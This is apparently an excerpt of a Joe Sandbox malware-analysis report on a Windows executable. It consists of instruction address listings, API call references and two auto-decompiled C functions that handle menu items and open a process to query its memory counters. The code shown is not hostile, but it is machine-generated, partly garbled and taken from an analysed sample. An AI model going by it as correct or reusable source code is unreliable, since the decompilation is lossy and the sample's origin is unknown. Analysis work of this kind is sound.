                                                                                                                                                                            0x0042a822
                                                                                                                                                                            0x0042a822
                                                                                                                                                                            0x0042a828
                                                                                                                                                                            0x0042a82a
                                                                                                                                                                            0x0042a82a
                                                                                                                                                                            0x0042a832
                                                                                                                                                                            0x00401c83
                                                                                                                                                                            0x0042a837
                                                                                                                                                                            0x0042a837
                                                                                                                                                                            0x0042a839
                                                                                                                                                                            0x0042a83f
                                                                                                                                                                            0x0042a842
                                                                                                                                                                            0x0042a845
                                                                                                                                                                            0x0042a854
                                                                                                                                                                            0x0042a85a
                                                                                                                                                                            0x0042a860
                                                                                                                                                                            0x0042a863
                                                                                                                                                                            0x0042a865
                                                                                                                                                                            0x0042a867
                                                                                                                                                                            0x0042a86a
                                                                                                                                                                            0x0042a86a
                                                                                                                                                                            0x0042a867
                                                                                                                                                                            0x0042a86f
                                                                                                                                                                            0x0042a871
                                                                                                                                                                            0x0042a871
                                                                                                                                                                            0x0042a879
                                                                                                                                                                            0x00401c89
                                                                                                                                                                            0x00401c8f
                                                                                                                                                                            0x00401c94
                                                                                                                                                                            0x00401c97
                                                                                                                                                                            0x00401c9d
                                                                                                                                                                            0x00401ca2
                                                                                                                                                                            0x00401ca7
                                                                                                                                                                            0x00401caa
                                                                                                                                                                            0x00401cb6
                                                                                                                                                                            0x00401cb6
                                                                                                                                                                            0x00401cc1
                                                                                                                                                                            0x00401cc4
                                                                                                                                                                            0x00401d09
                                                                                                                                                                            0x00401d0f
                                                                                                                                                                            0x00401d14
                                                                                                                                                                            0x00401d17
                                                                                                                                                                            0x00401d19
                                                                                                                                                                            0x0042a87f
                                                                                                                                                                            0x0042a87f
                                                                                                                                                                            0x00401d21
                                                                                                                                                                            0x00401d29
                                                                                                                                                                            0x00401d31
                                                                                                                                                                            0x00401d39
                                                                                                                                                                            0x00401d44
                                                                                                                                                                            0x00401d49
                                                                                                                                                                            0x00401d4f
                                                                                                                                                                            0x00401d55
                                                                                                                                                                            0x00401d5e
                                                                                                                                                                            0x00401d66
                                                                                                                                                                            0x00401d6c
                                                                                                                                                                            0x00401d77
                                                                                                                                                                            0x00401d82
                                                                                                                                                                            0x00401d87
                                                                                                                                                                            0x00401d8d
                                                                                                                                                                            0x00401d93
                                                                                                                                                                            0x00401d9c
                                                                                                                                                                            0x00401da1
                                                                                                                                                                            0x00401daa
                                                                                                                                                                            0x00401db0
                                                                                                                                                                            0x00401db5
                                                                                                                                                                            0x00401db9
                                                                                                                                                                            0x00401dbe
                                                                                                                                                                            0x00401dc7
                                                                                                                                                                            0x00401dcd
                                                                                                                                                                            0x00401dd6
                                                                                                                                                                            0x00401ddb
                                                                                                                                                                            0x00401de4
                                                                                                                                                                            0x00401dea
                                                                                                                                                                            0x00401df3
                                                                                                                                                                            0x00401e01
                                                                                                                                                                            0x00401e0c
                                                                                                                                                                            0x00401e17
                                                                                                                                                                            0x00401e22
                                                                                                                                                                            0x00401e2d
                                                                                                                                                                            0x00401e38
                                                                                                                                                                            0x00401e43
                                                                                                                                                                            0x00401e4e
                                                                                                                                                                            0x00401e59
                                                                                                                                                                            0x00401e5e
                                                                                                                                                                            0x00401e5f
                                                                                                                                                                            0x00401e60
                                                                                                                                                                            0x0040df11
                                                                                                                                                                            0x0040df23
                                                                                                                                                                            0x0040df2e
                                                                                                                                                                            0x0040df36
                                                                                                                                                                            0x0040df48
                                                                                                                                                                            0x0040df48
                                                                                                                                                                            0x00401cc6
                                                                                                                                                                            0x00401cd0
                                                                                                                                                                            0x00401cd9
                                                                                                                                                                            0x00401ce4
                                                                                                                                                                            0x00401ce7
                                                                                                                                                                            0x00401ce7
                                                                                                                                                                            0x00401cee
                                                                                                                                                                            0x00401cf9
                                                                                                                                                                            0x00401cf9
                                                                                                                                                                            0x00401d04
                                                                                                                                                                            0x00401d04
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00401cd0

                                                                                                                                                                            APIs
                                                                                                                                                                            • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401C4A
                                                                                                                                                                            • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                                            • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                                            • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Free$LibrarySendStringUnregisterVirtual
                                                                                                                                                                            • String ID: close all
                                                                                                                                                                            • API String ID: 2389397985-3243417748
                                                                                                                                                                            • Opcode ID: 097de05640e99007c31e0f83dd5b95873687fb614c52f9ae0039b224262ed00a
                                                                                                                                                                            • Instruction ID: 2ce8d23b909639d6c98596d9eaa621c291c5c2785a11ec408d233682dab96b66
                                                                                                                                                                            • Opcode Fuzzy Hash: 097de05640e99007c31e0f83dd5b95873687fb614c52f9ae0039b224262ed00a
                                                                                                                                                                            • Instruction Fuzzy Hash: 16B18175A101248FDB20EF55CC85B9AB3B8BF44304F5044EEE90977292C779AE86CF99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045377F Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 82%
                                                                                                                                                                            			E0045377F(void* __eflags, signed int _a4, intOrPtr _a8, signed int _a12) {
				intOrPtr _v12;
				int _v16;
				struct tagMENUITEMINFOW _v60;
				char _v64;
				int _v68;
				char _v69;
				signed int _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t66;
				signed int _t70;
				signed int _t82;
				signed int _t86;
				signed int _t87;
				int _t94;
				int _t95;
				intOrPtr _t96;
				signed char _t101;
				signed int _t108;
				signed int _t112;
				signed int _t122;
				signed char _t129;
				int _t135;
				struct HMENU__** _t143;

				_t155 = __eflags;
				_t108 = _a4;
				_t66 = E004372E1(_t155,  &_v60, E0040FFF0(_t108, _a8, __eflags)) | 0xffffffff;
				_v76 = _t66;
				if(_t108 == 5 || _t108 == 6) {
					L48:
					E004372BA(_t126,  &_v60);
					__eflags = 0;
					return 0;
				} else {
					if(_t108 == 3 || _t108 == 4) {
						_a12 = _t66;
						_t70 = _t108 - 3;
						__eflags = _t70;
						_t135 = _t108;
						if(_t70 == 0) {
							__eflags =  *(_v60.cbSize);
							if( *(_v60.cbSize) != 0) {
								_t126 =  &_v60;
								_push(E00444563( &_v60) & 0xff);
								_push(0x4a8524);
								goto L14;
							} else {
								E0040DF50(0x4a8524, 0x4a84d4);
							}
						} else {
							__eflags = _t70 == 1;
							if(_t70 == 1) {
								__eflags =  *(_v60.cbSize);
								if( *(_v60.cbSize) != 0) {
									_t101 = E00444563( &_v60);
									_t126 = _t101 & 0x000000ff;
									_push(_t101 & 0xff);
									_push(0x4a8534);
									L14:
									E00444508(_t108, _t135, __eflags);
								} else {
									E0040DF50(0x4a8534, 0x4a84e4);
								}
							}
						}
						__eflags =  *(0x4a865c + _t108 * 4);
						if( *(0x4a865c + _t108 * 4) == 0) {
							goto L26;
						} else {
							_t126 = _v60.cbSize;
							__eflags =  *(_v60.cbSize);
							if(__eflags == 0) {
								goto L26;
							} else {
								goto L19;
							}
						}
					} else {
						if(E00437314(0x4a84b8, _t108,  &_v68) != 0) {
							_t135 = _v68;
							L19:
							_t143 =  *(0x4a865c + _t135 * 4);
							_push(0x208);
							E004372E1(__eflags,  &_v68, E0041171A(_t108, _t135, __eflags));
							_v77 = 0;
							_v60.cbSize = 0x30;
							E004131F0(_t135,  &(_v60.fMask), 0, 0x2c);
							_t127 = _v76;
							_v60.fMask = 0x11;
							_v60.dwTypeData = _v76;
							_v60.cch = 0x104;
							_t82 = GetMenuItemInfoW( *_t143, _t135, 0,  &_v60);
							__eflags = _t82;
							if(_t82 == 0) {
								L52:
								E004372BA(_t127,  &_v68);
								E004372BA( &_v64,  &_v64);
								__eflags = 0;
								return 0;
							} else {
								__eflags = _v60.wID & 0x00000800;
								if((_v60.wID & 0x00000800) != 0) {
									goto L52;
								} else {
									_t129 = _v60.hSubMenu;
									__eflags = _t129 & 0x00001000;
									if((_t129 & 0x00001000) != 0) {
										_v69 = 1;
									}
									_t112 = _a12;
									__eflags = _t112;
									if(_t112 >= 0) {
										_t86 = _t129;
										__eflags = _t112 & 0x00000040;
										if((_t112 & 0x00000040) != 0) {
											_t86 = _t86 & 0xfffffffc;
											__eflags = _t86;
										}
										__eflags = _t112;
										if(_t112 < 0) {
											_t86 = _t86 | 0x00000003;
											__eflags = _t86;
										}
										__eflags = _t112 & 0x00000001;
										if((_t112 & 0x00000001) != 0) {
											_t86 = _t86 | 0x00000008;
											__eflags = _t86;
										}
										_t122 = _t112 & 0x00000004;
										__eflags = _t122;
										if(_t122 != 0) {
											_t86 = _t86 & 0xfffffff7;
											__eflags = _t86;
										}
										__eflags = _t112 & 0x00000100;
										if((_t112 & 0x00000100) != 0) {
											_t86 = _t86 | 0x00000080;
											__eflags = _t86;
										}
										__eflags = _t129 & 0x00000008;
										if((_t129 & 0x00000008) != 0) {
											__eflags = _t122;
											if(_t122 == 0) {
												_t86 = _t86 | 0x00000008;
												__eflags = _t86;
											}
										}
										_v60.fState = 1;
										_v60.hSubMenu = _t86;
										goto L42;
									} else {
										_t95 = _v60.cbSize;
										__eflags =  *_t95;
										if( *_t95 != 0) {
											_a12 = 0;
											_v60.fState = 0x10;
											_v16 = _t95;
											_t96 = E004112D5(_t95);
											_t112 = _a12;
											_v12 = _t96;
											L42:
											_t126 =  *_t143;
											_t87 = SetMenuItemInfoW( *_t143, _t135, 0,  &(_v60.fType));
											__eflags = _t87;
											if(_t87 == 0) {
												L47:
												E004372BA(_t126,  &_v68);
												goto L48;
											} else {
												__eflags = _t112;
												if(_t112 <= 0) {
													L51:
													E004372BA( &_v68,  &_v68);
													E004372BA( &_v68,  &_v64);
													return 1;
												} else {
													__eflags = _t112 & 0x00000200;
													if((_t112 & 0x00000200) == 0) {
														__eflags = _v69;
														if(_v69 == 0) {
															goto L51;
														} else {
															_push(0);
															_push(0xffffffff);
															goto L46;
														}
													} else {
														_push(0);
														_push(_t135);
														L46:
														_t126 =  *_t143;
														_t94 = SetMenuDefaultItem( *_t143, ??, ??);
														__eflags = _t94;
														if(_t94 != 0) {
															goto L51;
														} else {
															goto L47;
														}
													}
												}
											}
										} else {
											_t126 =  &_v68;
											E004372BA( &_v68,  &_v68);
											L26:
											E004372BA(_t126,  &_v60);
											__eflags = 0;
											return 0;
										}
									}
								}
							}
						} else {
							E004372BA( &_v60,  &_v60);
							return 0;
						}
					}
				}
			}





























                                                                                                                                                                            0x0045377f
                                                                                                                                                                            0x00453789
                                                                                                                                                                            0x004537a1
                                                                                                                                                                            0x004537a4
                                                                                                                                                                            0x004537ab
                                                                                                                                                                            0x004539f4
                                                                                                                                                                            0x004539f9
                                                                                                                                                                            0x004539fe
                                                                                                                                                                            0x00453a06
                                                                                                                                                                            0x004537ba
                                                                                                                                                                            0x004537bd
                                                                                                                                                                            0x004537f1
                                                                                                                                                                            0x004537f6
                                                                                                                                                                            0x004537f6
                                                                                                                                                                            0x004537f9
                                                                                                                                                                            0x004537fb
                                                                                                                                                                            0x0045383a
                                                                                                                                                                            0x0045383e
                                                                                                                                                                            0x00453851
                                                                                                                                                                            0x00453862
                                                                                                                                                                            0x00453863
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453840
                                                                                                                                                                            0x0045384a
                                                                                                                                                                            0x0045384a
                                                                                                                                                                            0x004537fd
                                                                                                                                                                            0x004537fd
                                                                                                                                                                            0x00453800
                                                                                                                                                                            0x00453806
                                                                                                                                                                            0x0045380a
                                                                                                                                                                            0x00453822
                                                                                                                                                                            0x00453827
                                                                                                                                                                            0x0045382e
                                                                                                                                                                            0x0045382f
                                                                                                                                                                            0x00453868
                                                                                                                                                                            0x00453868
                                                                                                                                                                            0x0045380c
                                                                                                                                                                            0x00453816
                                                                                                                                                                            0x00453816
                                                                                                                                                                            0x0045380a
                                                                                                                                                                            0x00453800
                                                                                                                                                                            0x0045386d
                                                                                                                                                                            0x00453875
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045387b
                                                                                                                                                                            0x0045387b
                                                                                                                                                                            0x0045387f
                                                                                                                                                                            0x00453883
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453889
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453889
                                                                                                                                                                            0x00453883
                                                                                                                                                                            0x004537c4
                                                                                                                                                                            0x004537d6
                                                                                                                                                                            0x0045388b
                                                                                                                                                                            0x0045388f
                                                                                                                                                                            0x0045388f
                                                                                                                                                                            0x00453896
                                                                                                                                                                            0x004538a9
                                                                                                                                                                            0x004538b7
                                                                                                                                                                            0x004538bc
                                                                                                                                                                            0x004538c4
                                                                                                                                                                            0x004538c9
                                                                                                                                                                            0x004538d7
                                                                                                                                                                            0x004538df
                                                                                                                                                                            0x004538e3
                                                                                                                                                                            0x004538ef
                                                                                                                                                                            0x004538f5
                                                                                                                                                                            0x004538f7
                                                                                                                                                                            0x00453a38
                                                                                                                                                                            0x00453a3d
                                                                                                                                                                            0x00453a47
                                                                                                                                                                            0x00453a4e
                                                                                                                                                                            0x00453a54
                                                                                                                                                                            0x004538fd
                                                                                                                                                                            0x004538fd
                                                                                                                                                                            0x00453905
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045390b
                                                                                                                                                                            0x0045390b
                                                                                                                                                                            0x0045390f
                                                                                                                                                                            0x00453915
                                                                                                                                                                            0x00453917
                                                                                                                                                                            0x00453917
                                                                                                                                                                            0x0045391c
                                                                                                                                                                            0x0045391f
                                                                                                                                                                            0x00453921
                                                                                                                                                                            0x00453971
                                                                                                                                                                            0x00453973
                                                                                                                                                                            0x00453976
                                                                                                                                                                            0x00453978
                                                                                                                                                                            0x00453978
                                                                                                                                                                            0x00453978
                                                                                                                                                                            0x0045397b
                                                                                                                                                                            0x0045397d
                                                                                                                                                                            0x0045397f
                                                                                                                                                                            0x0045397f
                                                                                                                                                                            0x0045397f
                                                                                                                                                                            0x00453982
                                                                                                                                                                            0x00453985
                                                                                                                                                                            0x00453987
                                                                                                                                                                            0x00453987
                                                                                                                                                                            0x00453987
                                                                                                                                                                            0x0045398c
                                                                                                                                                                            0x0045398c
                                                                                                                                                                            0x0045398f
                                                                                                                                                                            0x00453991
                                                                                                                                                                            0x00453991
                                                                                                                                                                            0x00453991
                                                                                                                                                                            0x00453994
                                                                                                                                                                            0x0045399a
                                                                                                                                                                            0x0045399c
                                                                                                                                                                            0x0045399c
                                                                                                                                                                            0x0045399c
                                                                                                                                                                            0x004539a1
                                                                                                                                                                            0x004539a4
                                                                                                                                                                            0x004539a6
                                                                                                                                                                            0x004539a8
                                                                                                                                                                            0x004539aa
                                                                                                                                                                            0x004539aa
                                                                                                                                                                            0x004539aa
                                                                                                                                                                            0x004539a8
                                                                                                                                                                            0x004539ad
                                                                                                                                                                            0x004539b5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453923
                                                                                                                                                                            0x00453923
                                                                                                                                                                            0x00453927
                                                                                                                                                                            0x0045392b
                                                                                                                                                                            0x0045394d
                                                                                                                                                                            0x00453954
                                                                                                                                                                            0x0045395c
                                                                                                                                                                            0x00453960
                                                                                                                                                                            0x00453965
                                                                                                                                                                            0x0045396b
                                                                                                                                                                            0x004539b9
                                                                                                                                                                            0x004539b9
                                                                                                                                                                            0x004539c4
                                                                                                                                                                            0x004539ca
                                                                                                                                                                            0x004539cc
                                                                                                                                                                            0x004539ea
                                                                                                                                                                            0x004539ef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004539ce
                                                                                                                                                                            0x004539ce
                                                                                                                                                                            0x004539d0
                                                                                                                                                                            0x00453a16
                                                                                                                                                                            0x00453a1b
                                                                                                                                                                            0x00453a25
                                                                                                                                                                            0x00453a35
                                                                                                                                                                            0x004539d2
                                                                                                                                                                            0x004539d2
                                                                                                                                                                            0x004539d8
                                                                                                                                                                            0x00453a09
                                                                                                                                                                            0x00453a0e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453a10
                                                                                                                                                                            0x00453a10
                                                                                                                                                                            0x00453a12
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00453a12
                                                                                                                                                                            0x004539da
                                                                                                                                                                            0x004539da
                                                                                                                                                                            0x004539dc
                                                                                                                                                                            0x004539dd
                                                                                                                                                                            0x004539dd
                                                                                                                                                                            0x004539e0
                                                                                                                                                                            0x004539e6
                                                                                                                                                                            0x004539e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004539e8
                                                                                                                                                                            0x004539d8
                                                                                                                                                                            0x004539d0
                                                                                                                                                                            0x0045392d
                                                                                                                                                                            0x0045392d
                                                                                                                                                                            0x00453932
                                                                                                                                                                            0x00453937
                                                                                                                                                                            0x0045393c
                                                                                                                                                                            0x00453941
                                                                                                                                                                            0x00453949
                                                                                                                                                                            0x00453949
                                                                                                                                                                            0x0045392b
                                                                                                                                                                            0x00453921
                                                                                                                                                                            0x00453905
                                                                                                                                                                            0x004537dc
                                                                                                                                                                            0x004537e1
                                                                                                                                                                            0x004537ee
                                                                                                                                                                            0x004537ee
                                                                                                                                                                            0x004537d6
                                                                                                                                                                            0x004537bd

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                            • _memset.LIBCMT ref: 004538C4
                                                                                                                                                                            • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00453960
                                                                                                                                                                            • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                                                                                            • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                                                                                            • String ID: 0
                                                                                                                                                                            • API String ID: 3530711334-4108050209
                                                                                                                                                                            • Opcode ID: 5d14d29bcae4742405607f579b481b15160cd8e2463fdb43c00f96d759ef7430
                                                                                                                                                                            • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                                                                                            • Opcode Fuzzy Hash: 5d14d29bcae4742405607f579b481b15160cd8e2463fdb43c00f96d759ef7430
                                                                                                                                                                            • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047395A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 61%
                                                                                                                                                                            			E0047395A(intOrPtr _a4, int* _a8) {
				void* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v36;
				void* _v40;
				intOrPtr _v44;
				void* _v48;
				char _v52;
				void* _v56;
				intOrPtr _v60;
				char _v68;
				void* _v80;
				char _v81;
				intOrPtr _v84;
				char _v88;
				void* _v92;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t80;
				void* _t83;
				intOrPtr* _t93;
				void* _t95;
				intOrPtr* _t117;
				void* _t121;
				intOrPtr _t130;
				void* _t154;
				void* _t155;
				int* _t157;
				void* _t158;
				int* _t159;
				int* _t161;
				void* _t162;
				intOrPtr* _t165;
				intOrPtr* _t166;
				intOrPtr* _t167;
				intOrPtr* _t168;
				intOrPtr* _t169;
				intOrPtr* _t170;
				intOrPtr* _t171;
				void* _t172;
				signed int _t173;
				void* _t175;

				_t175 = (_t173 & 0xfffffff8) - 0x54;
				_t127 = _a4;
				_t161 = _a8;
				_t154 =  *((intOrPtr*)(_a4 + 8));
				_v80 = _t154;
				E004092C0(_t154, _t161);
				_t161[2] = 1;
				 *_t161 = 0;
				_t162 = 0;
				_t184 = _t154 - 1;
				if(_t154 > 1) {
					_t162 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t127 + 4)) + 4)));
				}
				_t155 = 0x4848e8;
				E0040D420( &_v68, _t184);
				if(_v80 != 0) {
					E00409210( &_v68, _a4, _t172,  *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				}
				_t131 =  &_v68;
				_v80 = 0xffffffff;
				if(E00443676( &_v68) <= 0) {
					L7:
					_t80 = GetCurrentProcessId();
					goto L8;
				} else {
					_t131 =  &_v68;
					_t121 = E00444233(E00453081( &_v68),  &_v80,  &_v81);
					_t175 = _t175 + 0xc;
					if(_t121 != 0) {
						_t80 = _v80;
						if(_t80 == 0xffffffff) {
							goto L7;
						}
						L8:
						_t155 = OpenProcess(0x410, 0, _t80);
						_t83 = _t162;
						_v80 = _t155;
						if(_t83 == 0) {
							_push(0x28);
							_push( &_v52);
							_push(_t155);
							L00410F46();
							__eflags = _t83;
							if(_t83 != 0) {
								_t157 = _a8;
								_t130 = 2;
								_push(2);
								_push(1);
								E0040E7E0(_t157,  &_v52);
								_push(0);
								_push(1);
								_push(0);
								_push(_t157);
								_t165 = E0040D030();
								_v88 = _v52;
								E004092C0(_t157, _t165);
								_push(1);
								 *_t165 = _v88;
								_push(1);
								_push(0);
								_push(_t157);
								 *((intOrPtr*)(_t165 + 8)) = 2;
								 *((intOrPtr*)(_t165 + 4)) = 0;
								_t93 = E0040D030();
								_t158 = _v56;
								_t166 = _t93;
								E004092C0(_t158, _t166);
								_t95 = 0;
								__eflags = 0;
								goto L14;
							}
						} else {
							if(_t83 == 1) {
								_push( &_v52);
								_push(_t155);
								if( *0x4822dc() != 0) {
									_t159 = _a8;
									_push(6);
									_push(1);
									E0040E7E0(_t159, _t131);
									_push(0);
									_push(1);
									_push(0);
									_push(_t159);
									_t167 = E0040D030();
									_v84 = _v60;
									_v80 = _v56;
									E004092C0(_t159, _t167);
									_push(1);
									_push(1);
									_push(0);
									_t130 = 2;
									_push(_t159);
									 *((intOrPtr*)(_t167 + 8)) = 2;
									 *_t167 = _v84;
									 *((intOrPtr*)(_t167 + 4)) = _v80;
									_t168 = E0040D030();
									_v84 = _v52;
									_v80 = _v48;
									E004092C0(_t159, _t168);
									_push(2);
									_push(1);
									_push(0);
									_push(_t159);
									 *((intOrPtr*)(_t168 + 8)) = 2;
									 *_t168 = _v84;
									 *((intOrPtr*)(_t168 + 4)) = _v80;
									_t169 = E0040D030();
									_v84 = _v44;
									_v80 = _v40;
									E004092C0(_t159, _t169);
									_push(3);
									_push(1);
									_push(0);
									_push(_t159);
									 *((intOrPtr*)(_t169 + 8)) = 2;
									 *_t169 = _v84;
									 *((intOrPtr*)(_t169 + 4)) = _v80;
									_t170 = E0040D030();
									_v84 = _v36;
									_v80 = _v32;
									E004092C0(_t159, _t170);
									_push(4);
									_push(1);
									_push(0);
									_push(_t159);
									 *((intOrPtr*)(_t170 + 8)) = 2;
									 *_t170 = _v84;
									 *((intOrPtr*)(_t170 + 4)) = _v80;
									_t171 = E0040D030();
									_v84 = _v28;
									_v80 = _v24;
									E004092C0(_t159, _t171);
									_push(5);
									_push(1);
									_push(0);
									_push(_t159);
									 *((intOrPtr*)(_t171 + 8)) = 2;
									 *_t171 = _v84;
									 *((intOrPtr*)(_t171 + 4)) = _v80;
									_t117 = E0040D030();
									_t158 = _v20;
									_t166 = _t117;
									_v80 = _v16;
									E004092C0(_t158, _t166);
									_t95 = _v80;
									L14:
									 *_t166 = _t158;
									_t155 = _v92;
									 *(_t166 + 4) = _t95;
									 *((intOrPtr*)(_t166 + 8)) = _t130;
								}
							}
						}
						CloseHandle(_t155);
					}
				}
				E004092C0(_t155,  &_v80);
				return 0;
			}

















































                                                                                                                                                                            0x00473960
                                                                                                                                                                            0x00473964
                                                                                                                                                                            0x00473968
                                                                                                                                                                            0x0047396c
                                                                                                                                                                            0x0047396f
                                                                                                                                                                            0x00473973
                                                                                                                                                                            0x00473978
                                                                                                                                                                            0x0047397f
                                                                                                                                                                            0x00473985
                                                                                                                                                                            0x00473987
                                                                                                                                                                            0x0047398a
                                                                                                                                                                            0x00473997
                                                                                                                                                                            0x00473997
                                                                                                                                                                            0x00473999
                                                                                                                                                                            0x004739a2
                                                                                                                                                                            0x004739ac
                                                                                                                                                                            0x004739b7
                                                                                                                                                                            0x004739b7
                                                                                                                                                                            0x004739bc
                                                                                                                                                                            0x004739c1
                                                                                                                                                                            0x004739d0
                                                                                                                                                                            0x00473a00
                                                                                                                                                                            0x00473a00
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004739d2
                                                                                                                                                                            0x004739dc
                                                                                                                                                                            0x004739e7
                                                                                                                                                                            0x004739ec
                                                                                                                                                                            0x004739f1
                                                                                                                                                                            0x004739f7
                                                                                                                                                                            0x004739fe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00473a06
                                                                                                                                                                            0x00473a14
                                                                                                                                                                            0x00473a18
                                                                                                                                                                            0x00473a1b
                                                                                                                                                                            0x00473a1f
                                                                                                                                                                            0x00473b8a
                                                                                                                                                                            0x00473b90
                                                                                                                                                                            0x00473b91
                                                                                                                                                                            0x00473b92
                                                                                                                                                                            0x00473b97
                                                                                                                                                                            0x00473b99
                                                                                                                                                                            0x00473b9b
                                                                                                                                                                            0x00473b9e
                                                                                                                                                                            0x00473ba3
                                                                                                                                                                            0x00473ba4
                                                                                                                                                                            0x00473ba8
                                                                                                                                                                            0x00473bad
                                                                                                                                                                            0x00473baf
                                                                                                                                                                            0x00473bb1
                                                                                                                                                                            0x00473bb3
                                                                                                                                                                            0x00473bc0
                                                                                                                                                                            0x00473bc2
                                                                                                                                                                            0x00473bc6
                                                                                                                                                                            0x00473bcf
                                                                                                                                                                            0x00473bd1
                                                                                                                                                                            0x00473bd5
                                                                                                                                                                            0x00473bd7
                                                                                                                                                                            0x00473bd8
                                                                                                                                                                            0x00473bd9
                                                                                                                                                                            0x00473bdc
                                                                                                                                                                            0x00473bdf
                                                                                                                                                                            0x00473be4
                                                                                                                                                                            0x00473beb
                                                                                                                                                                            0x00473bed
                                                                                                                                                                            0x00473bf2
                                                                                                                                                                            0x00473bf2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00473bf2
                                                                                                                                                                            0x00473a25
                                                                                                                                                                            0x00473a28
                                                                                                                                                                            0x00473a32
                                                                                                                                                                            0x00473a33
                                                                                                                                                                            0x00473a3c
                                                                                                                                                                            0x00473a42
                                                                                                                                                                            0x00473a45
                                                                                                                                                                            0x00473a47
                                                                                                                                                                            0x00473a4b
                                                                                                                                                                            0x00473a50
                                                                                                                                                                            0x00473a52
                                                                                                                                                                            0x00473a54
                                                                                                                                                                            0x00473a56
                                                                                                                                                                            0x00473a60
                                                                                                                                                                            0x00473a69
                                                                                                                                                                            0x00473a6d
                                                                                                                                                                            0x00473a71
                                                                                                                                                                            0x00473a7e
                                                                                                                                                                            0x00473a80
                                                                                                                                                                            0x00473a82
                                                                                                                                                                            0x00473a84
